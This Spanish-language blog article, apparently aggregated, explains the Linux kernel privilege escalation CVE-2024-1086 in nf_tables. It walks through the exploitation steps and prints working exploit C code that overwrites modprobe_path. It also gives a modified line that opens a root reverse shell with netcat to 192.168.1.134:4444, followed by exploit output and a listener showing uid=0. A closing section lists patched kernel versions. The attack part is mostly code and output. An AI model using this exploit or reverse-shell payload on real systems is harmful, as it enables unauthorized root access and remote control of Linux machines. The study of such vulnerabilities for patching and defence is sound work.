CVE-2024-1086: escalado de privilegios explotando Linux nf_tables
El 30 de mayo de 2024, la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE.UU. (CISA) agregó una nueva vulnerabilidad a su catálogo: la CVE-2024-1086. Esta es una vulnerabilidad de tipo use-after-free en el kernel de Linux, que puede ser explotada para lograr una escalado de privilegios local. En este artículo, exploraremos en detalle cómo funciona esta vulnerabilidad, cómo se puede explotar y qué medidas defensivas se pueden tomar.
Pasos para la explotación:
- Paquetes UDP: El código enviará paquetes UDP a sí mismo, y los objetos necesarios permanecerán en memoria hasta que se ejecute la función
recv()
. Esto causará la primera doble liberación referenciada en el hook nf_tables mencionado anteriormente. - Cola de fragmentos IP: El paquete contiene la flag IP_MF en el campo de desplazamiento del encabezado IP. Esto lo forzará a una cola de fragmentos IP, lo que significa que puedes liberar el skb más tarde a voluntad.
- Liberar paquetes UDP: Ahora puedes liberar todos los paquetes UDP que se enviaron anteriormente.
- Rociar PTEs: Intentar asignar entradas de tabla de páginas (PTEs) en la entrada de página que estaba libre cuando ocurrió la primera doble liberación.
- Disparar segunda doble liberación: Enviar otro paquete UDP con valores específicos de encabezado IP para causar la próxima liberación en el skb.
- Asignar el PMD: Debido a que la sección rociada de PTEs ha sido reasignada en la primera ubicación de doble liberación, no hay dos punteros al mismo espacio liberado en la FreeList. Por lo tanto, el código asigna un directorio de página media (PMD) para superponer las PTEs y luego verifica qué PTE se encuentra dentro del área del PMD.
- Encontrar dirección base del kernel: Usando varias firmas del kernel, escanear el espacio de memoria del kernel para encontrar la dirección base del módulo del kernel.
- Sobrescribir
modprobe_path
: Una vez encontrada la base del kernel, se puede encontrar la ubicación de/sbin/modprobe
y, eventualmente, la ubicación demodprobe_path
. Sobrescribir esto con el PID del proceso actual y ejecutar el módulo modprobe.
El siguiente código muestra dónde se actualiza y ejecuta modprobe_path
:
printf("[*] overwriting path with PIDs in range 0->4194304...n");
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;
// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE(" - i.e. '%s' @ %p...n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE(" - matching modprobe_path scan var: '%s' @ %p)...n", modprobe_path, modprobe_path);
}
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/shnecho -n 1 1>/proc/%u/fd/%un/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// run custom modprobe file as root, by triggering it by executing file with unknown binfmt
// if the PID is incorrect, nothing will happen
modprobe_trigger_memfd();
// indicates correct PID (and root shell). stops further bruteforcing
status_cnt = read(status_fd, &buf, 1);
if (status_cnt == 0)
continue;
printf("[+] successfully breached the mainframe as real-PID %un", pid_guess);
return;
}
Por ejemplo, para abrir una shell inversa con root, puedes actualizar la línea dprintf
a:
dprintf(modprobe_script_fd, «#!/bin/shnecho -n 1 1>/proc/%u/fd/%unmkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.134 4444 > /tmp/f; rm /tmp/fn», pid_guess, status_fd);
Ejecutamos el exploit:
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000010000000
[+] verified modprobe_path/usermodehelper_path: 000000001228bba0 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
y vemos que no llega la sesión reversa como root:
──(kali㉿cve-2024-1086)-[~/CVE-2024-1086-main]└─$ nc -nvlp 4444listening on [any] 4444 ...connect to [192.168.1.134] from (UNKNOWN) [192.168.1.18] 52982/bin/sh: 0: can't access tty; job control turned off# iduid=0(root) gid=0(root) groups=0(root)
Defensa contra esta vulnerabilidad
Se ha emitido un parche para esta vulnerabilidad y se recomienda descargarlo lo antes posible. El enlace al parche está disponible a través de Git Kernel. Las versiones específicas para las principales distribuciones de Linux incluyen:
- Debian:
- Versión del kernel: 6.1.76-1
- Ubuntu:
- Ubuntu 18.04: 4.15.0-223.235
- Ubuntu 20.04: 5.4.0-174.193
- Ubuntu 22.04: 5.15.0-101.111
- Ubuntu 23.10: 6.5.0-26.26
- Red Hat y distros basadas en Red Hat:
- RHEL 7: 3.10.0-1062.4.1.el7
- RHEL 8: 4.18.0-147.el8
- RHEL 9: 5.14.0-362.24.2.el9_3
Powered by WPeMatico